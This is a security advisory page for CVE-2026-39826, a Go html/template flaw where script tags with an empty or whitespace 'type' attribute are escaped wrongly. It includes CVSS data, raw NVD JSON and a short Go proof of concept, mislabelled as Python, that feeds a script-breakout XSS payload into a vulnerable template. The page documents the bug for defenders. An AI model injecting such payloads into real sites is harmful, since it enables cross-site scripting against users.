Security Vulnerability Report
中文
CVE-2026-39826 CVSS 6.1 MEDIUM

CVE-2026-39826

Published: 2026-05-07 20:16:43
Last Modified: 2026-05-08 15:16:38

Description

If a trusted template author were to write a <script> tag containing an empty 'type' attribute or a 'type' attribute with an ASCII whitespace, the execution of the template would incorrectly escape any data passed into the <script> block.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Go (Golang) (Specific versions referenced in go.dev/cl/771180)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
package main import ( "html/template" "os" ) func main() { // Vulnerable template: script tag with empty type attribute // or type attribute containing only whitespace tmplStr := `<script type=" ">{{ . }}</script>` tmpl, _ := template.New("test").Parse(tmplStr) // Malicious input that breaks out of the script block // In a vulnerable version, this might not be escaped correctly inside the script tag payload := `</script><script>alert('XSS')</script>` tmpl.Execute(os.Stdout, payload) }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39826", "sourceIdentifier": "[email protected]", "published": "2026-05-07T20:16:43.490", "lastModified": "2026-05-08T15:16:37.680", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "If a trusted template author were to write a <script> tag containing an empty 'type' attribute or a 'type' attribute with an ASCII whitespace, the execution of the template would incorrectly escape any data passed into the <script> block."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "references": [{"url": "https://go.dev/cl/771180", "source": "[email protected]"}, {"url": "https://go.dev/issue/78981", "source": "[email protected]"}, {"url": "https://groups.google.com/g/golang-announce/c/qcCIEXso47M", "source": "[email protected]"}, {"url": "https://pkg.go.dev/vuln/GO-2026-4980", "source": "[email protected]"}]}}